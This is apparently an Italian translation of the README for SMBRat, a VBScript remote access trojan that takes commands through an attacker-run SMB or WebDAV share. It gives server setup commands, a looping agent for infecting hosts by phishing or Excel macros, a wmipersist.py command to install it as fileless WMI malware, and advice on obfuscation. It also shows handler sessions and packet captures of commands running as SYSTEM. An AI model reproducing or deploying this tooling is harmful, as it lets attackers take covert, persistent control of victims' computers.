
Uno strumento di amministrazione remota per Windows in Visual Basic con percorsi UNC
Uno strumento di amministrazione remota per Windows in Visual Basic Script
Gli ambienti Windows, come le reti Active Directory, diventano davvero appesantiti dal traffico SMB.
Tutti gli host ricevono le Policies dalla cartella SYSVOL, le configurazioni richiedono file remoti per funzionare, i collegamenti sul desktop tendono a puntare a \\something\else\in\the\network.exe.
Nessuno noterebbe un tentativo di connessione in più. Giusto?
- Soprattutto se va a buon fine (è di moda monitorare solo i Denies del Firewall)
L'agent è uno Visual Basic Script che viene eseguito sull'host infetto e si connette al server SMB. Crea al suo interno una directory chiamata come l'hostname dell'host e l'indirizzo MAC primario (cercando di essere unica e informativa allo stesso tempo per scopi di reporting). Tutti i comandi e le informazioni per l'host infetto saranno memorizzati in questa directory. Eseguire lo zip dell'intera cartella condivisa archiverà tutte le informazioni del progetto!
Non usa una lettera di unità per montare la condivisione, usa semplicemente UNC paths per leggere direttamente i file remoti (nessuna unità viene creata in explorer.exe).
Inietta inoltre l'UNC path nella variabile %PATH% del proprio ambiente di esecuzione (puoi eseguire eseguibili direttamente dal filesystem della tua macchina Linux).
L'agent è configurato per essere eseguito una sola volta. Senza stato.
La sua routine è (più o meno) la seguente:
exec.dat nella cartella che ha creato nella condivisione SMBcmd.exe /c <command> come una shell semi-interattiva.output.dat (accanto a exec.dat).exec.dat.L'handler ha bisogno di un server SMB per funzionare. Il modulo smbserver.py del pacchetto impacket di Core Security andrà bene.
Molto probabilmente anche smbd farebbe al caso nostro, ma non è stato ancora testato.
È necessaria una condivisione con nome D$, per sembrare l'SMB di un legittimo host Windows.
# mkdir Share
# smbserver.py -comment "My Share" "D$" Share/
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Poiché l'agent è configurato per usare solo percorsi UNC, WebDAV può essere utilizzato con zero modifiche.
Invece di un server SMB, si può usare un server WebDAV (un ottimo server WebDAV con supporto SSL è wsgidav).
# mkdir 'D$'
# wsgidav -p 80 -H 0.0.0.0 -r . --auth anonymous
[...] INFO : WsgiDAV/3.0.0 Python/2.7.16 Linux-4.19.0-kali3-amd64-x86_64-with-Kali-kali-rolling-kali-rolling
[...] INFO : Lock manager: LockManager(LockStorageDict)
[...] INFO : Property manager: None
[...] INFO : Domain controller: SimpleDomainController()
[...] INFO : Registered DAV providers by route:
[...] INFO : - '/:dir_browser': FilesystemProvider for path '/root/.virtualenvs/wsgidav/local/lib/python2.7/site-packages/wsgidav/dir_browser/htdocs' (Read-Only) (anonymous)
[...] INFO : - '/': FilesystemProvider for path '/tmp/DAV' (Read-Write) (anonymous)
[...] WARNING : Basic authentication is enabled: It is highly recommended to enable SSL.
[...] WARNING : Share '/:dir_browser' will allow anonymous read access.
[...] WARNING : Share '/' will allow anonymous write access.
[...] INFO : Running WsgiDAV/3.0.0 Cheroot/6.5.4 Python/2.7.16
[...] INFO : Serving on http://0.0.0.0:80 ...
[...] INFO : 192.168.163.130 - (anonymous) - [2019-04-18 14:57:53] "PROPFIND /D$/Project1/DESKTOP-I3NFOQ5-John-AA-BB-CC-DD-EE-FF/ping.dat" length=0, depth=0, elap=0.004sec -> 207 Multi-Status
Per il supporto SSL, i percorsi UNC devono cambiare leggermente, da:
\\<Server-IP>\DIR\
a:
\\<Server-IP>@SSL@443\DIR\
Questa modifica può essere fatta solo alla variabile ServerName di agent.vbs, poiché tutti i percorsi sono costruiti da questa.
Tieni presente che i certificati SSL devono essere considerati attendibili dal sistema che esegue l'agent. I certificati autofirmati falliranno con avvisi.
Un ciclo While può essere aggiunto all'inizio del file agent.vbs, con un'istruzione di pausa di diversi secondi (10 secondi sono l'ideale), e sarà in grado di infettare host Windows tramite doppio clic / phishing / macro Excel / ecc...
Un ciclo while True in VBS con una pausa di 1 secondo è simile a questo:
Do While True
[...]
WScript.Sleep 1000
Loop
Tuttavia, se un host Windows ha RPC abilitato, è possibile installare il file VBS come malware fileless tramite WMI e i favolosi esempi del pacchetto impacket con un comando come:
$ examples/wmipersist.py '<username>:<password>@<hostname/ipaddress>' install -vbs agent.vbs -name smbrat -timer 10
È anche possibile utilizzare lo strumento WMI tramite accesso locale per installare agent.vbs come malware fileless.
Gli script Visual Basic possono essere ben offuscati, codificati in base64 e anche minificati.
Può essere davvero utile provarlo prima di "distribuirlo" 😉
Al momento in cui scrivo, nessuna shell quindi l'utilizzo può essere effettuato semplicemente usando un comando come Handler è implementata,watch per ispezionare il file output.dat:
$ watch -n0.2 cat Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/output.dat
e echo per scrivere qualche comando nel file exec.dat:
$ echo 'whoami /all' > Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/exec.dat
handler.pyLa shell sperimentale funziona come segue:
$ python handler.py Share/
SMBRat>
# When a new host gets infected:
[+] Agent "DESKTOP-EG4OE7J" (00:0C:29:2B:9F:AF) just checked-in for Project: "projectName"
SMBRat> execall whoami /user
[>] Sending 'whoami /user' to "projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF" ...
SMBRat>
[<] Response from 'projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF':
USER INFORMATION
----------------
User Name SID
=================== ========
nt authority\system S-1-5-18
^^^^^^^^^^^^^^^^^^^^ projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ^^^^^^^^^^^^^^^^^^^^
SMBRat>
# tcpdump -i eth0 -A
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
[...]
15:25:06.695502 IP Deskjet-4540.microsoft-ds > 172.16.47.129.3128: Flags [P.], seq 2876:2971, ack 4791, win 2110, length 95 SMB PACKET: SMBreadX (REPLY)
E...,E@[email protected].../.../....8
.&Mi~.6P..>.......[.SMB........................
.@............ .;........... .net localgroup "administrators"
[...]
15:25:06.702916 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 4917:5111, ack 3097, win 2052, length 194 SMB PACKET: SMBtrans2 (REQUEST)
E...E.@......./.../..8..i~..
.'*P....b.......SMB2......................
.F..z.....(...........z.D.........}..........\.p.r.o.j.e.c.t.N.a.m.e.\.D.E.S.K.T.O.P.-.E.G.4.O.E.7.J.-.0.0.:.0.C.:.2.9.:.2.B.:.9.F.:.A.F.\.o.u.t.p.u.t...d.a.t...
[...]
15:25:06.751372 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 6049:6393, ack 3748, win 2050, length 344 SMB PACKET: SMBwrite (REQUEST)
[email protected]../.../..8..i~.
.).P....*.....T.SMB........................
.T....$.......'..$.Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Admin
Administrator
defaultuser0
The command completed successfully.
[...]
Il traffico (contenuti e percorsi dei file) viene trasferito in chiaro se viene utilizzato un server SMBv1 (ad esempio smbserver.py di impacket).
Tutti gli agenti possono modificare i file memorizzati nell'intera condivisione. Il che significa che possono modificare l'exec.dat di altri agenti...
Uno smbmap farà luce sulla questione:
$ smbmap -H 172.16.47.189
[+] Finding open SMB ports....
[+] User SMB session establishd on 172.16.47.189...
[+] IP: 172.16.47.189:445 Name: Deskjet-4540
Disk Permissions
---- -----------
D$ READ, WRITE
[!] Unable to remove test directory at \\172.16.47.189\D$\SVNRmxBFAO, plreae remove manually
IPC$ READ, WRITE
[!] Unable to remove test directory at \\172.16.47.189\IPC$\SVNRmxBFAO, plreae remove manually
-u e -p di smbmap.Questa è una sessione NULL (come il login anonimo FTP). CHIUNQUE può modificare i file della condivisione e ottenere esecuzione remota di codice su tutte le macchine infette.
iptables qui...Digita execall netsh e perderai tutti i tuoi agenti. Nessuno risponderà, perché agent.vbs avvierà la shell netsh.exe e aspetterà che termini, così da poterne scrivere il contenuto in output.dat. Ma indovina un po'... non terminerà... Rimarrà appesa con il prompt netsh> puntato nel vuoto.